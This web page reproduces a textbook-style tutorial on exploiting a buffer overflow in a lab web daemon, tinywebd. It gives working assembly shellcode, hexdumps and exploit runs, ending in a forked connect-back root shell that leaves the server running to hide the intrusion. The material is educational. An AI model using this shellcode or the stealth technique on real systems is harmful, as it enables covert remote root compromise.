SECURITY

Hacking - Overlooking the Obvious

8/31/2010 3:29:13 PM
overlooking_the_obvious.html

In a real-world scenario, the other obvious sign of intrusion is even more apparent than log files. However, when testing, this is something that is easily overlooked. If log files seem like the most obvious sign of intrusion to you, then you are forgetting about the loss of service. When the tinyweb daemon is exploited, the process is tricked into providing a remote root shell, but it no longer processes web requests. In a real-world scenario, this exploit would be detected almost immediately when someone tries to access the website.

A skilled hacker can not only crack open a program to exploit it, he can also put the program back together again and keep it running. The program continues to process requests and it seems like nothing happened.

1. One Step at a Time

Complex exploits are difficult because so many different things can go wrong, with no indication of the root cause. Since it can take hours just to track down where the error occurred, it's usually better to break a complex exploit down into smaller parts. The end goal is a piece of shellcode that will spawn a shell yet keep the tinyweb server running. The shell is interactive, which causes some complications, so let's deal with that later. For now, the first step should be figuring out how to put the tinyweb daemon back together after exploiting it. Let's begin by writing a piece of shellcode that does something to prove it ran and then puts the tinyweb daemon back together so it can process further web requests.

Since the tinyweb daemon redirects standard out to /dev/null, writing to standard out isn't a reliable marker for shellcode. One simple way to prove the shellcode ran is to create a file. This can be done by making a call to open(), and then close(). Of course, the open() call will need the appropriate flags to create a file. We could look through the include files to figure out what O_CREAT and all the other necessary defines actually are and do all the bitwise math for the arguments, but that's sort of a pain in the ass. If you recall, we've done something like this already—the notetaker program makes a call to open()which will create a file if it didn't exist. The strace program can be used on any program to show every system call it makes. In the output below, this is used to verify that the arguments to open() in C match up with the raw system calls.

reader@hacking:~/booksrc $ strace ./notetaker test
execve("./notetaker", ["./notetaker", "test"], [/* 27 vars */]) = 0
brk(0) = 0x804a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe5000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ..}) = 0
mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000".., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ..}) = 0
mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e92000
mmap2(0xb7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x13b) =
0xb7fcd000
mmap2(0xb7fd0000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0)
=
0xb7fd0000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e91000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e916c0, limit:1048575, seg_32bit:1,
contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fcd000, 4096, PROT_READ) = 0
munmap(0xb7fd3000, 70799) = 0
brk(0) = 0x804a000
brk(0x806b000) = 0x806b000
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe4000
write(1, "[DEBUG] buffer @ 0x804a008: \'t".., 37[DEBUG] buffer @ 0x804a008: 'test'
) = 37
write(1, "[DEBUG] datafile @ 0x804a070: \'/".., 43[DEBUG] datafile @ 0x804a070:
'/var/notes'
) = 43
open("/var/notes", O_WRONLY|O_APPEND|O_CREAT, 0600) = -1 EACCES (Permission denied) dup(2) = 3 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe3000 _llseek(3, 0, 0xbffff4e4, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, "[!!] Fatal Error in main() while".., 65[!!] Fatal Error in main() while opening file: Permission denied ) = 65 close(3) = 0 munmap(0xb7fe3000, 4096) = 0 exit_group(-1) = ? Process 21473 detached reader@hacking:~/booksrc $ grep open notetaker.c fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); fatal("in main() while opening file"); reader@hacking:~/booksrc $
When run through strace, the notetaker binary's suid-bit isn't used, so it doesn't have permission to open the data file. That doesn't matter, though; we just want to make sure the arguments to the open() system call match the arguments to the open() call in C. Since they match, we can safely use the values passed to the open() function in the notetaker binary as the arguments for the open() system call in our shellcode. The compiler has already done all the work of looking up the defines and mashing them together with a bitwise OR operation; we just need to find the call arguments in the disassembly of the notetaker binary.
reader@hacking:~/booksrc $ gdb -q ./notetaker
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set dis intel
(gdb) disass main
Dump of assembler code for function main:
0x0804875f : push ebp
0x08048760 : mov ebp,esp
0x08048762 : sub esp,0x28
0x08048765 : and esp,0xfffffff0
0x08048768 : mov eax,0x0
0x0804876d : sub esp,eax
0x0804876f : mov DWORD PTR [esp],0x64
0x08048776 : call 0x8048601 0x0804877b : mov DWORD PTR [ebp-12],eax
0x0804877e : mov DWORD PTR [esp],0x14
0x08048785 : call 0x8048601 0x0804878a : mov DWORD PTR [ebp-16],eax
0x0804878d : mov DWORD PTR [esp+4],0x8048a9f
0x08048795 : mov eax,DWORD PTR [ebp-16]
0x08048798 : mov DWORD PTR [esp],eax
0x0804879b : call 0x8048480 0x080487a0 : cmp DWORD PTR [ebp+8],0x1
0x080487a4 : jg 0x80487ba 0x080487a6 : mov eax,DWORD PTR [ebp-16]
0x080487a9 : mov DWORD PTR [esp+4],eax
0x080487ad : mov eax,DWORD PTR [ebp+12]
0x080487b0 : mov eax,DWORD PTR [eax]
0x080487b2 : mov DWORD PTR [esp],eax
0x080487b5 : call 0x8048733 0x080487ba : mov eax,DWORD PTR [ebp+12]
0x080487bd : add eax,0x4
0x080487c0 : mov eax,DWORD PTR [eax]
0x080487c2 : mov DWORD PTR [esp+4],eax
0x080487c6 : mov eax,DWORD PTR [ebp-12]
0x080487c9 : mov DWORD PTR [esp],eax
0x080487cc : call 0x8048480 0x080487d1 : mov eax,DWORD PTR [ebp-12]
0x080487d4 : mov DWORD PTR [esp+8],eax
0x080487d8 : mov eax,DWORD PTR [ebp-12]
0x080487db : mov DWORD PTR [esp+4],eax
0x080487df : mov DWORD PTR [esp],0x8048aaa
0x080487e6 : call 0x8048490 0x080487eb : mov eax,DWORD PTR [ebp-16]
0x080487ee : mov DWORD PTR [esp+8],eax
0x080487f2 : mov eax,DWORD PTR [ebp-16]
0x080487f5 : mov DWORD PTR [esp+4],eax
0x080487f9 : mov DWORD PTR [esp],0x8048ac7
0x08048800 : call 0x8048490 0x08048805 : mov DWORD PTR [esp+8],0x180
0x0804880d : mov DWORD PTR [esp+4],0x441
0x08048815 : mov eax,DWORD PTR [ebp-16]
0x08048818 : mov DWORD PTR [esp],eax
0x0804881b : call 0x8048410
---Type to continue, or q to quit---q
Quit
(gdb)

Remember that the arguments to a function call will be pushed to the stack in reverse. In this case, the compiler decided to use mov DWORD PTR[esp+offset],value_to_push_to_stack instead of push instructions, but the structure built on the stack is equivalent. The first argument is a pointer tothe name of the file in EAX, the second argument (put at [esp+4]) is 0x441, and the third argument (put at [esp+8]) is 0x180. This means that O_WRONLY|O_CREAT|O_APPEND turns out to be 0x441 and S_IRUSR|S_IWUSR is 0x180. The following shellcode uses these values to create a file called Hacked in the root filesystem.
6.5.1.1. mark.s
BITS 32 
; Mark the filesystem to prove you ran.
jmp short one
two:
pop ebx ; Filename
xor ecx, ecx
mov BYTE [ebx+7], cl ; Null terminate filename
push BYTE 0x5 ; Open()
pop eax
mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
xor edx, edx
mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
int 0x80 ; Open file to create it.
; eax = returned file descriptor
mov ebx, eax ; File descriptor to second arg
push BYTE 0x6 ; Close ()
pop eax
int 0x80 ; Close file.

xor eax, eax
mov ebx, eax
inc eax ; Exit call.
int 0x80 ; Exit(0), to avoid an infinite loop.
one:
call two
db "/HackedX"
; 01234567


The shellcode opens a file to create it and then immediately closes the file. Finally, it calls exit to avoid an infinite loop. The output below shows this new shellcode being used with the exploit tool.

reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ nasm mark.s
reader@hacking:~/booksrc $ hexdump -C mark
00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.#[1.K.j.Xf.A.1|
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 |.f....j.X.1.|
00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke|
00000030 64 58 |dX|
00000032
reader@hacking:~/booksrc $ ls -l /Hacked
ls: /Hacked: No such file or directory
reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1
target IP: 127.0.0.1
shellcode: mark (44 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open
reader@hacking:~/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-17 16:59 /Hacked
reader@hacking:~/booksrc $


2. Putting Things Back Together Again

To put things back together again, we just need to repair any collateral damage caused by the overwrite and/or shellcode, and then jump execution back into the connection accepting loop in main(). The disassembly of main() in the output below shows that we can safely return to the addresses 0x08048f64,0x08048f65, or 0x08048fb7 to get back into the connection accept loop.

reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048d93 : push ebp
0x08048d94 : mov ebp,esp
0x08048d96 : sub esp,0x68
0x08048d99 : and esp,0xfffffff0
0x08048d9c : mov eax,0x0
0x08048da1 : sub esp,eax

.:[ output trimmed ]:.

0x08048f4b : mov DWORD PTR [esp],eax
0x08048f4e : call 0x8048860 0x08048f53 : cmp eax,0xffffffff
0x08048f56 : jne 0x8048f64 0x08048f58 : mov DWORD PTR [esp],0x804961a
0x08048f5f : call 0x8048ac4 0x08048f64 : nop
0x08048f65 : mov DWORD PTR [ebp-60],0x10
0x08048f6c : lea eax,[ebp-60]
0x08048f6f : mov DWORD PTR [esp+8],eax
0x08048f73 : lea eax,[ebp-56]
0x08048f76 : mov DWORD PTR [esp+4],eax
0x08048f7a : mov eax,ds:0x804a970
0x08048f7f : mov DWORD PTR [esp],eax
0x08048f82 : call 0x80488d0 0x08048f87 : mov DWORD PTR [ebp-12],eax
0x08048f8a : cmp DWORD PTR [ebp-12],0xffffffff
0x08048f8e : jne 0x8048f9c 0x08048f90 : mov DWORD PTR [esp],0x804962e
0x08048f97 : call 0x8048ac4 0x08048f9c : mov eax,ds:0x804a96c
0x08048fa1 : mov DWORD PTR [esp+8],eax
0x08048fa5 : lea eax,[ebp-56]
0x08048fa8 : mov DWORD PTR [esp+4],eax
0x08048fac : mov eax,DWORD PTR [ebp-12]
0x08048faf : mov DWORD PTR [esp],eax
0x08048fb2 : call 0x8048fb9 0x08048fb7 : jmp 0x8048f65 End of assembler dump. (gdb)
All three of these addresses basically go to the same place. Let's use 0x08048fb7 since this is the original return address used for the call to handle_connection(). However, there are other things we need to fix first. Look at the function prologue and epilogue for handle_connection(). These are the instructions that set up and remove the stack frame structures on the stack.
(gdb) disass handle_connection
Dump of assembler code for function handle_connection:
0x08048fb9 : push ebp
0x08048fba : mov ebp,esp
0x08048fbc : push ebx
0x08048fbd : sub esp,0x644
0x08048fc3 : lea eax,[ebp-0x218]
0x08048fc9 : mov DWORD PTR [esp+4],eax
0x08048fcd : mov eax,DWORD PTR [ebp+8]
0x08048fd0 : mov DWORD PTR [esp],eax
0x08048fd3 : call 0x8048cb0 0x08048fd8 : mov DWORD PTR [ebp-0x620],eax
0x08048fde : mov eax,DWORD PTR [ebp+12]
0x08048fe1 : movzx eax,WORD PTR [eax+2]
0x08048fe5 : mov DWORD PTR [esp],eax
0x08048fe8 : call 0x80488f0 .:[ output trimmed ]:. 0x08049302 : call 0x8048850 0x08049307 : mov DWORD PTR [esp+4],0x2
0x0804930f : mov eax,DWORD PTR [ebp+8]
0x08049312 : mov DWORD PTR [esp],eax
0x08049315 : call 0x8048800 0x0804931a : add esp,0x644
0x08049320 : pop ebx
0x08049321 : pop ebp
0x08049322 : ret
End of assembler dump. (gdb)
At the beginning of the function, the function prologue saves the current values of the EBP and EBX registers by pushing them to the stack, and sets EBP to the current value of ESP so it can be used as a point of reference for accessing stack variables. Finally, 0x644 bytes are saved on the stack for these stack variables by subtracting from ESP. The function epilogue at the end restores ESP by adding 0x644 back to it and restores the saved values of EBX and EBP by popping them from the stack back into the registers.

The overwrite instructions are actually found in the recv_line() function; however, they write to data in the handle_connection() stack frame, so the overwrite itself happens in handle_connection(). The return address that we overwrite is pushed to the stack when handle_connection() is called, so the saved values for EBP and EBX pushed to the stack in the function prologue will be between the return address and the corruptible buffer. This means that EBP and EBX will get mangled when the function epilogue executes. Since we don't gain control of the program's execution until the return instruction, all the instructions between the overwrite and the return instruction must be executed. First, we need to assess how much collateral damage is done by these extra instructions after the overwrite. The assembly instruction int3 creates the byte 0xcc, which is literally a debugging breakpoint. The shellcode below uses an int3 instruction instead of exiting. This breakpoint will be caught by GDB, allowing us to examine the exact state of the program after the shellcode executes.

2.1. mark_break.s
BITS 32
; Mark the filesystem to prove you ran.
jmp short one
two:
pop ebx ; Filename
xor ecx, ecx
mov BYTE [ebx+7], cl ; Null terminate filename
push BYTE 0x5 ; Open()
pop eax
mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
xor edx, edx
mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
int 0x80 ; Open file to create it.
; eax = returned file descriptor
mov ebx, eax ; File descriptor to second arg0
push BYTE 0x6 ; Close ()
pop eax
int 0x80 ; Close file.

int3 ; zinterrupt
one:
call two
db "/HackedX"


To use this shellcode, first get GDB set up to debug the tinyweb daemon. In the output below, a breakpoint is set right before handle_connection() is called. The goal is to restore the mangled registers to their original state found at this breakpoint.

reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
root 23497 0.0 0.0 1636 356 ? Ss 17:08 0:00 ./tinywebd
reader 23506 0.0 0.0 2880 748 pts/1 R+ 17:09 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q -pid=23497 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit"
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to process 23497
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) set dis intel
(gdb) x/5i main+533
0x8048fa8 : mov DWORD PTR [esp+4],eax
0x8048fac : mov eax,DWORD PTR [ebp-12]
0x8048faf : mov DWORD PTR [esp],eax
0x8048fb2 : call 0x8048fb9 0x8048fb7 : jmp 0x8048f65 (gdb) break *0x8048fb2 Breakpoint 1 at 0x8048fb2: file tinywebd.c, line 72. (gdb) cont Continuing.

In the output above, a breakpoint is set right before handle_connection() is called (shown in bold). Then, in another terminal window, the exploit tool is used to throw the new shellcode at it. This will advance execution to the breakpoint in the other terminal.

reader@hacking:~/booksrc $ nasm mark_break.s
reader@hacking:~/booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1
target IP: 127.0.0.1
shellcode: mark_break (44 bytes)
[NOP (372 bytes)] [shellcode (44 bytes)] [ret addr (128 bytes)]
localhost [127.0.0.1] 80 (www) open
reader@hacking:~/booksrc $

Back in the debugging terminal, the first breakpoint is encountered. Some important stack registers are displayed, which show the stack setup before (and after) the handle_connection() call. Then, execution continues to the int3 instruction in the shellcode, which acts like a breakpoint. Then these stack registers are checked again to view their state at the moment the shellcode begins to execute.

Breakpoint 1, 0x08048fb2 in main () at tinywebd.c:72
72 handle_connection(new_sockfd, &client_addr, logfd);
(gdb) i r esp ebx ebp
esp 0xbffff7e0 0xbffff7e0
ebx 0xb7fd5ff4 -1208131596
ebp 0xbffff848 0xbffff848
(gdb) cont
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff753 in ?? ()
(gdb) i r esp ebx ebp
esp 0xbffff7e0 0xbffff7e0
ebx 0x6 6
ebp 0xbffff624 0xbffff624
(gdb)

This output shows that EBX and EBP are changed at the point the shellcode begins execution. However, an inspection of the instructions in main()'s disassembly shows that EBX isn't actually used. The compiler probably saved this register to the stack due to some rule about calling convention, even though it isn't really used. EBP, however, is used heavily, since it's the point of reference for all local stack variables. Because the original saved value of EBP was overwritten by our exploit, the original value must be recreated. When EBP is restored to its original value, the shellcode should be able to do its dirty work and then return back into main() as usual. Since computers are deterministic, the assembly instructions will clearly explain how to do all this.

(gdb) set dis intel
(gdb) x/5i main
0x8048d93
: push ebp
0x8048d94 : mov ebp,esp
0x8048d96 : sub esp,0x68
0x8048d99 : and esp,0xfffffff0
0x8048d9c : mov eax,0x0
(gdb) x/5i main+533
0x8048fa8 : mov DWORD PTR [esp+4],eax
0x8048fac : mov eax,DWORD PTR [ebp-12]
0x8048faf : mov DWORD PTR [esp],eax
0x8048fb2 : call 0x8048fb9 0x8048fb7 : jmp 0x8048f65 (gdb)

A quick glance at the function prologue for main() shows that EBP should be 0x68 bytes larger than ESP. Since ESP wasn't damaged by our exploit, we can restore the value for EBP by adding 0x68 to ESP at the end of our shellcode. With EBP restored to the proper value, the program execution can be safely returned into the connection-accepting loop. The proper return address for the handle_connection() call is the instruction found after the call at 0x08048fb7. The following shellcode uses this technique.

6.5.2.2. mark_restore.s
BITS 32
; Mark the filesystem to prove you ran.
jmp short one
two:
pop ebx ; Filename
xor ecx, ecx
mov BYTE [ebx+7], cl ; Null terminate filename
push BYTE 0x5 ; Open()
pop eax
mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
xor edx, edx
mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
int 0x80 ; Open file to create it.
; eax = returned file descriptor
mov ebx, eax ; File descriptor to second arg
push BYTE 0x6 ; Close ()
pop eax
int 0x80 ; close file

lea ebp, [esp+0x68] ; Restore EBP.
push 0x08048fb7 ; Return address.
ret ; Return
one:
call two
db "/HackedX"


When assembled and used in an exploit, this shellcode will restore the tinyweb daemon's execution after marking the filesystem. The tinyweb daemon doesn't even know that something happened.

reader@hacking:~/booksrc $ nasm mark_restore.s
reader@hacking:~/booksrc $ hexdump -C mark_restore
00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.K.j.Xf.A.1|
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c |.f....j.X..l|
00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha|
00000030 63 6b 65 64 58 |ckedX|
00000035
reader@hacking:~/booksrc $ sudo rm /Hacked
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: mark_restore (53 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open
reader@hacking:~/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-19 20:37 /Hacked
reader@hacking:~/booksrc $ ps aux | grep tinywebd
root 26787 0.0 0.0 1636 420 ? Ss 20:37 0:00 ./tinywebd
reader 26828 0.0 0.0 2880 748 pts/1 R+ 20:38 0:00 grep tinywebd
reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1
The web server for 127.0.0.1 is Tiny webserver
reader@hacking:~/booksrc $


3. Child Laborers

Now that the difficult part is figured out, we can use this technique to silently spawn a root shell. Since the shell is interactive, but we still want the process to handle web requests, we need to fork to a child process. The fork() call creates a child process that is an exact copy of the parent, except that it returns 0 in the child process and the new process ID in the parent process. We want our shellcode to fork and the child process to serve up the root shell, while the parent process restores tinywebd's execution. In the shellcode below, several instructions are added to the start of loopback_shell.s. First, the fork syscall is made, and the return value is put in the EAX register. The next few instructions test to see if EAX is zero. If EAX is zero, we jump to child_process to spawn the shell. Otherwise, we're in the parent process, so the shellcode restores execution into tinywebd.

3.1. loopback_shell_restore.s
BITS 32

push BYTE 0x02 ; Fork is syscall #2
pop eax
int 0x80 ; After the fork, in child process eax == 0.
test eax, eax
jz child_process ; In child process spawns a shell.

; In the parent process, restore tinywebd.
lea ebp, [esp+0x68] ; Restore EBP.
push 0x08048fb7 ; Return address.
ret ; Return

child_process:
; s = socket(2, 1, 0)
push BYTE 0x66 ; Socketcall is syscall #102 (0x66)
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
.: [ Output trimmed; the rest is the same as loopback_shell.s. ] :.


The following listing shows this shellcode in use. Multiple jobs are used instead of multiple terminals, so the netcat listener is sent to the background by ending the command with an ampersand (&). After the shell connects back, the fg command brings the listener back to the foreground. The process is then suspended by hitting CTRL-Z, which returns to the BASH shell. It might be easier for you to use multiple terminals as you are following along, but job control is useful to know for those times when you don't have the luxury of multiple terminals.

reader@hacking:~/booksrc $ nasm loopback_shell_restore.s
reader@hacking:~/booksrc $ hexdump -C loopback_shell_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..jfX.1.CRj.j.|
00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..f.T|
00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |$.fhzifS.j.QV.|
00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 |C...I.?.Iy.|
00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//shh/bin.R.|
00000060 e2 53 89 e1 cd 80 |.S..|
00000066
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ nc -l -p 31337 &
[1] 27279
reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: loopback_shell_restore (102 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open
reader@hacking:~/booksrc $ fg
nc -l -p 31337
whoami
root

[1]+ Stopped nc -l -p 31337
reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1
The web server for 127.0.0.1 is Tiny webserver
reader@hacking:~/booksrc $ fg
nc -l -p 31337
whoami
root


With this shellcode, the connect-back root shell is maintained by a separate child process, while the parent process continues to serve web content.

Other  
 
Top 10
Review : Sigma 24mm f/1.4 DG HSM Art
Review : Canon EF11-24mm f/4L USM
Review : Creative Sound Blaster Roar 2
Review : Philips Fidelio M2L
Review : Alienware 17 - Dell's Alienware laptops
Review Smartwatch : Wellograph
Review : Xiaomi Redmi 2
Extending LINQ to Objects : Writing a Single Element Operator (part 2) - Building the RandomElement Operator
Extending LINQ to Objects : Writing a Single Element Operator (part 1) - Building Our Own Last Operator
3 Tips for Maintaining Your Cell Phone Battery (part 2) - Discharge Smart, Use Smart
REVIEW
- First look: Apple Watch

- 3 Tips for Maintaining Your Cell Phone Battery (part 1)

- 3 Tips for Maintaining Your Cell Phone Battery (part 2)
VIDEO TUTORIAL
- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 1)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 2)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 3)
Popular Tags
Microsoft Access Microsoft Excel Microsoft OneNote Microsoft PowerPoint Microsoft Project Microsoft Visio Microsoft Word Active Directory Biztalk Exchange Server Microsoft LynC Server Microsoft Dynamic Sharepoint Sql Server Windows Server 2008 Windows Server 2012 Windows 7 Windows 8 Adobe Indesign Adobe Flash Professional Dreamweaver Adobe Illustrator Adobe After Effects Adobe Photoshop Adobe Fireworks Adobe Flash Catalyst Corel Painter X CorelDRAW X5 CorelDraw 10 QuarkXPress 8 windows Phone 7 windows Phone 8